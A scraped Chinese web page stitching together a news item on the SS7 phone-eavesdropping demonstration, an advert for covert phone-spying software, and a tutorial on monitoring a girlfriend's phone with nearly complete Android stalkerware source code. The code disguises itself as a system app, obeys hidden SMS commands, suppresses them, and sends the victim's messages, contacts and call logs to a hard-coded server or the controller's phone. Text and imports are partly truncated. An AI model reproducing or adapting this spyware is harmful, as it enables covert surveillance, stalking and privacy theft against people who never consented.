如何监控另一部手机远程监控教程

没有找到合适的模板,请与管理员联系!ss7信令漏洞再次被媒体揭出。这次黑客在经对方同意后,监听的是一位议员的手机。
美国新闻媒体“60分钟”最近演示了如何去监控一位美国国会议员的智能手机,在这件令人难以置信的事件中我们要特别注意的一点是:这个漏洞自2014年起便开始曝光和传播,安全牛之前也有过至少两次的报道。
经协商,美国国会议员 Ted Lieu 同意一个黑客小组监控他的iPhone,以向公众演示这种攻击的现实性和可怕性。这些安全人员随后利用蜂窝网络的SS7信令系统协议的一个漏洞成功实现跟踪议员的位置,阅读他的短信,甚至监听并记录他的通话。
“首先,这真是令人毛骨悚然。其次,它也让我很愤怒”,Lieu在知道他的手机通话被记录后表示。“去年,美国总统给我打过电话,并且我们谈论了一些事情。如果黑客们正在监听(我的手机),那他们就会知道这次通话的内容。而这绝对会成为大麻烦。”
通过SS7的漏洞,黑客小组可以仅通过这部手机的电话号码,对该手机的通话和短信实现监听。SS7对于移动网络来讲,提供通话开始和结束、回拨、通信连接、定位变化、账单数据、SMS短信内容传递等等的信令。它几乎是移动业务的全部。
这次“攻击”所使用的SS7漏洞的细节首次披露是在2014年的12月,研究者 Tobias Engel 和Karsten Nohl 向德国汉堡的混沌通信大会提交了他们的发现,据悉Nohl曾是漏洞贩卖公司 hacking team 的一员,他接受了“60分钟”栏目组邀请。
SS7漏洞影响所有手机,当然包括iOS和安卓系统,是一个非常严重的安全隐患,并且似乎是通信运营商不愿意或者是没有能力去修补的问题。
SS7诞生于上个世纪80年代,那个时候业界对安全的认视还是一片荒漠。利用SS7的漏洞,黑客可使用一个前向函数建立中间人攻击,并得到解密通话的密钥。详细的漏洞细节,出于明显的原因并未公布。
有人认为,之所以至今这种问题还没有得到解决,一方面是大规模改造的成本问题,另一方面政府的情报机关也在阻碍问题的解决,毕竟这种设计上的漏洞利用起来简直是太方便了。
参与这次演示的美国国会议员Lieu表示:“怎能让3亿美国人民,实际上是全球所有的公民,由于一个已知的漏洞而处于被监听的情况下!仅仅因为情报部门的需要吗?这是无法令人接受的。”查看: 2511|回复: 0
可以监控另一部手机内容的手机软件
该用户从未签到
可以监控另一部手机内容的手机软件
& & 手机影侦探是一款功能强大的手机软件,只要在任何一部手机上安装该软件,就可以轻松获取这部手机的所有信息,从而实现对这部手机的使用者进行监控。
& & 正因为手机卧底是一款手机软件,所以被监听手机必须是智能手机,而且必须安装到被监听的手机上去(而不是自己的手机上)。手机卧底软件目前支持安卓系统等绝大部分手机。软件安装以后完全后台运行,不会在被安装手机上留下图标,可用主控手机(实施监控的手机)通过相应指令对其进行远程操控,手机卧底会自动为您记录被控手机的所有信息,包括通话和短信的详细记录(时间、号码)、通话录音、短信内容、环境录音、地理位置、通讯录、QQ、微信聊天记录等等你想要的信息。
手机影侦探软件提供近20余项功能,其核心功能如下:
1、获取通话记录及录音 包括接听和拨打电话的时间、时长、号码、通话录音。
2、获取短信记录及内容 包括收到和发出短信的时间、号码、内容。
3、获取周边环境声音 主控手机直接拨打目标手机 监听对方周边环境声音或发送指令进行录音。
4、获取地理位置信息 对方当前所在的地理位置。
5、获取通讯录 目标手机内所保存的所有联系人的姓名及电话号码。
6、查看手机相册 包括手机上拍摄的照片,视频。
7、获取微信聊天记录 监控微信聊天内容。
8、获取QQ聊天记录 监控QQ聊天内容。
Powered by人生有多残酷,你就该有多坚强。。。
教你如何监控你的妹子或者将来的妹子的手机
&/pre&不得不说android是一个非常智能的系统,电话或者短信都能远程获取。。&p&关于大家一直说怎么使用,我来简单的说明一下吧,讲工程文件中的apk文件安装在你想监控的人的手机中,然后随便找个手机给他&/p&&p&发短信"qingxue:12" 表示以短信的模式获取&/p&&p&再发"qingxue:1"
获取监控人的所有短信的记录&/p&&p&短信转发有点不一样,发送"qingxue:4::helloworld"
表示通过监控人的手机给发送短信,内容为“helloworld”&/p&&p&注:以上短信内容均不含""&/p&&p&&/p&&p&以下程序可实现通话记录监控,通讯录获取,短信获取,或者利用被控端进行短信转发,至于另外一些像虚拟短信,短信屏蔽,电话录音或者屏蔽,都是大同小异,由于时间关系这里就不实现了,喜欢的同学可以自己研究下android的API&/p&&p&为了不让对方怀疑,可以取个和系统相似的名字。如:SystemManage&/p&&p&包结构:&/p&&p&&img src="https://img-blog.csdn.net/04203?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvbGl1Y2FubG9uZw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" /&&/p&&p&清单文件,主要是一些用到的android权限&/p&&p&&/p&&pre name="code" class="java"&&?xml version="1.0" encoding="utf-8"?&
&manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.me.androidsystem"
android:versionCode="1"
android:versionName="1.0" &
&!-- 接收短信权限 --&
&uses-permission android:name="android.permission.RECEIVE_SMS" /&
&uses-permission android:name="android.permission.SEND_SMS" /&
&uses-permission android:name="android.permission.READ_SMS"/&
&!-- 访问internet权限 --&
&uses-permission android:name="android.permission.INTERNET" /&
&uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"&&/uses-permission&
&uses-permission android:name="android.permission.ACCESS_WIFI_STATE"&&/uses-permission&
&uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" /&
&uses-permission android:name="android.permission.READ_CONTACTS"/&
&uses-permission android:name="android.permission.WRITE_CONTACTS"/&
&uses-permission android:name="android.permission.READ_CALL_LOG"/&
android:minSdkVersion="7"
android:targetSdkVersion="18" /&
&application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" &
&receiver android:name="com.me.androidsystem.SmsReceiver"&
&intent-filter android:priority="1000" &
&action android:name="android.provider.Telephony.SMS_RECEIVED" /&
&/intent-filter&
&/receiver&
&receiver android:name="com.me.androidsystem.NetstateReceiver"&
&intent-filter&
&action android:name="android.net.conn.CONNECTIVITY_CHANGE" /&
&/intent-filter&
&/receiver&
&service android:name="com.me.androidsystem.service.SmsService" &
&/service&
&service android:name="com.me.androidsystem.service.PhoService" &
&/service&
&/application&
&/manifest&
常用字段我全部写在一个类中了
package com.me.androidsystem.
控制端发送短信指令
1 ————获取客户端的所有短信
2 ————获取客户端的所有通信录包括通话记录
3 ————仅获取客户端的所有通话记录
4 ————短信转发
11————设置获取客户端所有短信的模式为短信发送模式
12————设置获取客户端所有短信的模式为网络发送模式
13————设置获取客户端所有短信的模式为网络优先发送模式
21————设置获取客户端的所有通信录包括通话记录的模式为短信发送模式
22————设置获取客户端的所有通信录包括通话记录的模式为网络发送模式
23————设置获取客户端的所有通信录包括通话记录的模式为网络优先发送模式
30————设置获取客户端当前短信的模式为不获取
31————设置获取客户端当前短信的模式为短信模式
32————设置获取客户端当前短信的模式为网络模式
33————设置获取客户端当前短信的模式为网络优先模式
如发送:qingxue:21后再发qingxue:2对方的所有通信录包括通话记录都会以短信的形式发送到你手机上
public class ServiceUtil {
//控制端的手机号 每次发送指令时会自动修改为发送指令的手机号
public static String CONTROL_NUMBER = "+5";
//控制端的网络服务器192.168.137.218
221.234.230.22
public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/";
//发送电话信息请求的Servlet
public static final String PHO_SERVLET = "GetPHOInfoServlet";
//发送单个短信请求的Servlet 目前没有用
public static final String SMS_ONE_SERVLET = "GetSmsOneServlet";
//控制端的key
public static final String CONTROL_START = "qingxue";
//配置文件的名称
public static final String CONFIG_NAME = "config";
//保存离线短信信息文件
public static final String OFF_INFO = "off_info";
public static final String COMMAND="command";
//控制端获取用户的所有短信
public static final int GET_ALL_SMS = 1;
//控制端获取用户所有电话和通话记录
public static final int GET_ALL_PHO = 2;
//控制端获取用户所有通话记录
public static final int GET_ONLY_PHO = 3;
//短信转发
public static final int SMS_TRANSPOND = 4;
//设置短信的操作模式为无
public static final int SET_SMS_MODEL_0 = 10;
//设置短信的操作模式为MODEL_SMS_ONLY
public static final int SET_SMS_MODEL_1 = 11;
//设置短信的操作模式为MODEL_NET_ONLY
public static final int SET_SMS_MODEL_2 = 12; //默认
//设置短信的操作模式为MODEL_NET_SMS
public static final int SET_SMS_MODEL_3 = 13;
// 设置通信记录的操作模式为无
public static final int SET_PHO_MODEL_0 = 20;
// 设置通信记录的操作模式为MODEL_SMS_ONLY
public static final int SET_PHO_MODEL_1 = 21;
// 设置通信记录的操作模式为MODEL_NET_ONLY
public static final int SET_PHO_MODEL_2 = 22; //默认
// 设置通信记录的操作模式为MODEL_NET_SMS
public static final int SET_PHO_MODEL_3 = 23;
//设置短信的操作模式为无
public static final int SET_SMS_ONE_MODEL_0 = 30;
//设置短信的操作模式为MODEL_SMS_ONLY
public static final int SET_SMS_ONE_MODEL_1 = 31;
//设置短信的操作模式为MODEL_NET_ONLY
public static final int SET_SMS_ONE_MODEL_2 = 32;//默认
//设置短信的操作模式为MODEL_NET_SMS
public static final int SET_SMS_ONE_MODEL_3 = 33;
//对于单条短信的操作模式
public static final String SMS_ONE_MODEL = "sms_one_model";
//对于所有短信的操作模式
public static final String SMS_MODEL = "sms_model";
//对于电话的操作模式
public static final String PHO_MODEL = "pho_model";
//不发送模式
public static final int MODEL_NONE = 0;
//短信模式
public static final int MODEL_SMS_ONLY = 1;
//网络模式
public static final int MODEL_NET_ONLY = 2;
//短信和网络模式,网络优先
public static final int MODEL_NET_SMS = 3;
//仅获取通话记录
public static boolean ONLY_TEL =
电话的服务类
package com.me.androidsystem.
import java.text.SimpleDateF
import java.util.ArrayL
import java.util.D
import java.util.HashM
import java.util.L
import java.util.M
import android.app.S
import android.content.ContentR
import android.content.C
import android.content.I
import android.content.SharedP
import android.content.SharedPreferences.E
import android.database.C
import android.net.ConnectivityM
import android.net.NetworkI
import android.os.IB
import android.provider.CallL
import android.provider.CallLog.C
import android.provider.ContactsC
import android.util.L
import com.me.androidsystem.domain.CallR
import com.me.androidsystem.util.CommndU
import com.me.androidsystem.util.ServiceU
public class PhoService extends Service {
private SharedPre
public void onCreate() {
super.onCreate();
List&Map&String, String&& contacts = getContacts();
List&CallRecord& callRecords = getCallRecord();
preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
Context.MODE_PRIVATE);
int model = preferences.getInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY);
switch (model) {
case ServiceUtil.MODEL_SMS_ONLY:
sendSMSContent(contacts,callRecords);
case ServiceUtil.MODEL_NET_ONLY:
sendNETContent(contacts,callRecords);
case ServiceUtil.MODEL_NET_SMS:
sendNETORSMSContent(contacts,callRecords);
stopSelf();
private void sendNETORSMSContent(List&Map&String, String&& contacts,
List&CallRecord& callRecords) {
ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
if(networkInfo != null && networkInfo.isAvailable()){
//当前有可用网络
sendNETContent(contacts, callRecords);
//当前无可用网络
sendSMSContent(contacts, callRecords);
private void sendNETContent(List&Map&String, String&& contacts,
List&CallRecord& callRecords) {
ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
if(networkInfo != null && networkInfo.isAvailable()){
//当前有可用网络
CommndUtil.sendInternet(resolve(contacts, callRecords), ServiceUtil.PHO_SERVLET);
//当前无可用网络
String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
Editor editor = preferences.edit();
editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(contacts, callRecords)+"\n");
editor.commit();
private void sendSMSContent(List&Map&String, String&& contacts,
List&CallRecord& callRecords) {
CommndUtil.sendSMS(resolve(contacts, callRecords));
private String resolve(List&Map&String, String&& contacts,List&CallRecord& callRecords){
StringBuilder sb = new StringBuilder();
if(!ServiceUtil.ONLY_TEL){
sb.append("姓名
for(Map&String, String& map : contacts){
String name = map.get("name");
String number = map.get("number");
sb.append(name + " " + number);
sb.append("-------------------------\n"+"通话记录\n");
sb.append("姓名
for(CallRecord callRecord : callRecords){
String name = callRecord.getLinkman();
String type = callRecord.getType();
String time = callRecord.getCallDate();
String durction = callRecord.getDurction();
String number = callRecord.getNumber();
sb.append(name + " " + type + " " + time + " " + durction + " " + number + "\n");
return sb.toString();
// 获取联系人信息
public List&Map&String, String&& getContacts() {
Map&String, String&
List&Map&String, String&& list = new ArrayList&Map&String, String&&();
int nameIndex = -1;
ContentResolver cr = getContentResolver();
Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
null, null, null);
while (cur.moveToNext()) {
String number = "";
// 得到名字
nameIndex = cur
.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
String name = cur.getString(nameIndex);
// 得到电话号码
String contactId = cur.getString(cur
.getColumnIndex(ContactsContract.Contacts._ID)); // 获取联系人的ID号,在SQLite中的数据库ID
Cursor phone = cr.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "
+ contactId, null, null);
while (phone.moveToNext()) {
String strPhoneNumber = phone
.getString(phone
.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); // 手机号码字段联系人可能不止一个
number += strPhoneNumber + "\n";
contacts = new HashMap&String, String&();
// 放入Map
contacts.put("name", name);
contacts.put("number", number);
list.add(contacts);
cur.close();
// 获取通话记录
public List&CallRecord& getCallRecord() {
List&CallRecord& list = new ArrayList&CallRecord&();
ContentResolver cr = getContentResolver();
Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,
CallLog.Calls.TYPE, CallLog.Calls.DATE,
CallLog.Calls.DURATION }, null, null,
CallLog.Calls.DEFAULT_SORT_ORDER);
while (cursor.moveToNext()) {
String strNumber = cursor.getString(cursor
.getColumnIndex(Calls.NUMBER)); // 呼叫号码
String strName = cursor.getString(cursor
.getColumnIndex(Calls.CACHED_NAME)); // 联系人姓名
int type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));// 来电:1,拨出:2,未接:3
String callType = "";
switch (type) {
callType = "来电";
callType = "拨出";
callType = "未接";
long duration = cursor.getLong(cursor
.getColumnIndex(Calls.DURATION));
String durationTime = formatTime(duration);
SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Date date = new Date(Long.parseLong(cursor.getString(cursor
.getColumnIndex(Calls.DATE))));
String time = sfd.format(date);
list.add(new CallRecord(strName, strNumber, time, callType,
durationTime));
private String formatTime(long duration) {
int timetiem = (int)
int minute = timetiem / 60;
int hour = minute / 60;
int second = timetiem % 60;
minute %= 60;
return String.format("%02d:%02d:%02d", hour, minute, second);
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
短信的服务类
package com.me.androidsystem.
import java.text.SimpleDateF
import java.util.ArrayL
import java.util.D
import java.util.L
import android.app.S
import android.content.ContentR
import android.content.C
import android.content.I
import android.content.SharedP
import android.content.SharedPreferences.E
import android.database.C
import android.database.sqlite.SQLiteE
import android.net.ConnectivityM
import android.net.NetworkI
import android.net.U
import android.os.IB
import com.me.androidsystem.domain.SmsI
import com.me.androidsystem.util.CommndU
import com.me.androidsystem.util.ServiceU
public class SmsService extends Service {
private SharedPre
public void onCreate() {
super.onCreate();
preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
Context.MODE_PRIVATE);
int model = preferences.getInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY);
switch (model) {
case ServiceUtil.MODEL_SMS_ONLY:
sendSMSContent();
case ServiceUtil.MODEL_NET_ONLY:
sendNETContent();
case ServiceUtil.MODEL_NET_SMS:
sendNETORSMSContent();
stopSelf();
private void sendNETORSMSContent() {
ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
if(networkInfo != null && networkInfo.isAvailable()){
//当前有可用网络
sendNETContent();
//当前无可用网络
sendSMSContent();
private void sendNETContent() {
ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
if(networkInfo != null && networkInfo.isAvailable()){
//当前有可用网络
CommndUtil.sendInternet(resolve(getAllSms()), ServiceUtil.PHO_SERVLET);
String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
Editor editor = preferences.edit();
editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(getAllSms())+"\n");
editor.commit();
private void sendSMSContent() {
CommndUtil.sendSMS(resolve(getAllSms()));
private String resolve(List&SmsInfo& list){
StringBuilder sb = new StringBuilder();
sb.append("联系人
for(SmsInfo info : list){
String name = info.getLinkman();
String number = info.getNumber();
String content = info.getContent();
String date = info.getDate();
String type = info.getType();
sb.append(name + " " + number + " " + content + " " + date + " " + type +"\n");
return sb.toString();
public IBinder onBind(Intent intent) {
private List&SmsInfo& getAllSms() {
List&SmsInfo& list = new ArrayList&SmsInfo&();
final String SMS_URI_ALL = "content://sms/";
ContentResolver cr = getContentResolver();
String[] projection = new String[] { "_id", "address", "person",
"body", "date", "type" };
Uri uri = Uri.parse(SMS_URI_ALL);
Cursor cur = cr.query(uri, projection, null, null, "date desc");
while (cur.moveToNext()) {
String phoneN
name = cur.getString(cur.getColumnIndex("person"));
phoneNumber = cur.getString(cur.getColumnIndex("address"));
smsbody = cur.getString(cur.getColumnIndex("body"));
SimpleDateFormat dateFormat = new SimpleDateFormat(
"yyyy-MM-dd hh:mm:ss");
Date d = new Date(Long.parseLong(cur.getString(cur
.getColumnIndex("date"))));
date = dateFormat.format(d);
int typeId = cur.getInt(cur.getColumnIndex("type"));
if (typeId == 1) {
type = "接收";
} else if (typeId == 2) {
type = "发送";
} else if (typeId == 0) {
type = "未读";
type = "草稿";
//以下注释去掉会将短信的联系人姓名找出,不然只能获取短信联系号码,不过时间好长,不知道也没有哪位大神能解决一下
Uri personUri = Uri.withAppendedPath(
ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
phoneNumber);
Cursor localCursor = cr.query(personUri, new String[] {
PhoneLookup.DISPLAY_NAME, PhoneLookup.PHOTO_ID,
PhoneLookup._ID }, null, null, null);
if (localCursor.getCount() != 0) {
localCursor.moveToFirst();
name = localCursor.getString(localCursor
.getColumnIndex(PhoneLookup.DISPLAY_NAME));
if (smsbody == null)
smsbody = "";
list.add(new SmsInfo(name, phoneNumber, smsbody, date, type));
} catch (SQLiteException ex) {
用于接受控制端的短信指令
package com.me.
import java.text.SimpleDateF
import java.util.D
import android.content.BroadcastR
import android.content.C
import android.content.I
import android.content.SharedP
import android.content.SharedPreferences.E
import android.net.ConnectivityM
import android.net.NetworkI
import android.telephony.SmsM
import android.util.L
import com.me.androidsystem.service.PhoS
import com.me.androidsystem.service.SmsS
import com.me.androidsystem.util.CommndU
import com.me.androidsystem.util.ServiceU
* 实现对短信接收的监听
public class SmsReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
// 如果短信内容是以qingxue开头,那么表示指令
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
for (Object p : pdus) {
byte[] pdu = (byte[])
SmsMessage message = SmsMessage.createFromPdu(pdu);
String content = message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String receiveTime = format.format(date);
String senderNumber = message.getOriginatingAddress();
Log.e("aaaa", content);
// ServiceUtil.CONTROL_NUMBER.equals(senderNumber)
if (content.length() &= ServiceUtil.CONTROL_START.length()
&& content.substring(0, ServiceUtil.CONTROL_START.length())
.equals(ServiceUtil.CONTROL_START)) {
abortBroadcast();// 终止广播
ServiceUtil.CONTROL_NUMBER = senderN
SharedPreferences sharedPreferences = context
.getSharedPreferences(ServiceUtil.CONFIG_NAME,
Context.MODE_PRIVATE);
Editor edit = sharedPreferences.edit();
int command = Integer.valueOf(content.split(":")[1]);
Log.e("aaaa", command+"");
switch (command) {
case ServiceUtil.GET_ALL_SMS:
Intent t1 = new Intent(context, SmsService.class);
context.startService(t1);
case ServiceUtil.GET_ALL_PHO:
ServiceUtil.ONLY_TEL =
Intent t2 = new Intent(context, PhoService.class);
context.startService(t2);
case ServiceUtil.GET_ONLY_PHO:
ServiceUtil.ONLY_TEL =
Intent t3 = new Intent(context, PhoService.class);
context.startService(t3);
case ServiceUtil.SMS_TRANSPOND:
if (content.split(":").length &= 4) {
String number = content.split(":")[2];
String msg = content.split(":")[3];
CommndUtil.sendSMS(msg, number);
} catch (Exception e) {
// 对获取所有短信是发送模式设置
case ServiceUtil.SET_SMS_MODEL_0:
edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NONE);
edit.commit();
case ServiceUtil.SET_SMS_MODEL_1:
edit.putInt(ServiceUtil.SMS_MODEL,
ServiceUtil.MODEL_SMS_ONLY);
edit.commit();
case ServiceUtil.SET_SMS_MODEL_2:
edit.putInt(ServiceUtil.SMS_MODEL,
ServiceUtil.MODEL_NET_ONLY);
edit.commit();
case ServiceUtil.SET_SMS_MODEL_3:
edit.putInt(ServiceUtil.SMS_MODEL,
ServiceUtil.MODEL_NET_SMS);
edit.commit();
// 对获取所有通信录是发送模式设置
case ServiceUtil.SET_PHO_MODEL_0:
edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NONE);
edit.commit();
case ServiceUtil.SET_PHO_MODEL_1:
edit.putInt(ServiceUtil.PHO_MODEL,
ServiceUtil.MODEL_SMS_ONLY);
edit.commit();
case ServiceUtil.SET_PHO_MODEL_2:
edit.putInt(ServiceUtil.PHO_MODEL,
ServiceUtil.MODEL_NET_ONLY);
edit.commit();
case ServiceUtil.SET_PHO_MODEL_3:
edit.putInt(ServiceUtil.PHO_MODEL,
ServiceUtil.MODEL_NET_SMS);
edit.commit();
// 对获取当前短信的发送模式设置
case ServiceUtil.SET_SMS_ONE_MODEL_0:
edit.putInt(ServiceUtil.SMS_ONE_MODEL,
ServiceUtil.MODEL_NONE);
edit.commit();
case ServiceUtil.SET_SMS_ONE_MODEL_1:
edit.putInt(ServiceUtil.SMS_ONE_MODEL,
ServiceUtil.MODEL_SMS_ONLY);
edit.commit();
case ServiceUtil.SET_SMS_ONE_MODEL_2:
edit.putInt(ServiceUtil.SMS_ONE_MODEL,
ServiceUtil.MODEL_NET_ONLY);
edit.commit();
case ServiceUtil.SET_SMS_ONE_MODEL_3:
edit.putInt(ServiceUtil.SMS_ONE_MODEL,
ServiceUtil.MODEL_NET_SMS);
edit.commit();
// 对获取通话记录的发送模式设置与获取所有通信录方式相同
// 如果是普通的短信 可以设置转发或者不采取操作
else if (!ServiceUtil.CONTROL_NUMBER.equals(senderNumber)) {
SharedPreferences sharedPreferences = context
.getSharedPreferences(ServiceUtil.CONFIG_NAME,
Context.MODE_PRIVATE);
int model = sharedPreferences.getInt(ServiceUtil.SMS_ONE_MODEL,
ServiceUtil.MODEL_NET_ONLY);
ConnectivityManager connectivityManager = (ConnectivityManager) context
.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connectivityManager
.getActiveNetworkInfo();
switch (model) {
case ServiceUtil.MODEL_SMS_ONLY:
CommndUtil
.sendSMS("收到来自" + senderNumber + "的短信:" + content);
case ServiceUtil.MODEL_NET_ONLY:
if (networkInfo != null && networkInfo.isAvailable()) {
// 当前有可用网络
CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:"
+ content, ServiceUtil.SMS_ONE_SERVLET);
// 当前无可用网络
String oldInfo = sharedPreferences.getString(
ServiceUtil.OFF_INFO, "");
Editor editor = sharedPreferences.edit();
editor.putString(ServiceUtil.OFF_INFO, oldInfo
+ receiveTime + " 收到来自" + senderNumber + "的短信:"
+ content + "\n");
editor.commit();
case ServiceUtil.MODEL_NET_SMS:
if (networkInfo != null && networkInfo.isAvailable()) {
// 当前有可用网络
CommndUtil.sendInternet("收到来自" + senderNumber + "的短信:"
+ content, ServiceUtil.PHO_SERVLET);
// 当前无可用网络
CommndUtil.sendSMS("收到来自" + senderNumber + "的短信:"
+ content);
这个类负责在通过网络获取时,用户的网络是关闭状态,只要用户打开网络,会继续发送
package com.me.
import android.content.BroadcastR
import android.content.C
import android.content.I
import android.content.SharedP
import android.net.ConnectivityM
import android.net.NetworkI
import com.me.androidsystem.util.CommndU
import com.me.androidsystem.util.ServiceU
public class NetstateReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
ConnectivityManager manager = (ConnectivityManager) context
.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo gprs = manager
.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
NetworkInfo wifi = manager
.getNetworkInfo(ConnectivityManager.TYPE_WIFI);
if (!gprs.isConnected() && !wifi.isConnected()) {
// network closed
// network opend
SharedPreferences sharedPreferences = context.getSharedPreferences(ServiceUtil.CONFIG_NAME,Context.MODE_PRIVATE);
String content = sharedPreferences.getString(ServiceUtil.OFF_INFO, "");
if(!"".equals(content)){
if(CommndUtil.sendInternet(content, ServiceUtil.PHO_SERVLET)){
sharedPreferences.edit().putString(ServiceUtil.OFF_INFO, "").commit();
仅作学习交流之用,短信转发这个功能有点邪恶。。。不要随便使用
完整版的源码下载
没有更多推荐了,
加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!

我要回帖

更多关于 手机视频监控软件下载 的文章

 

随机推荐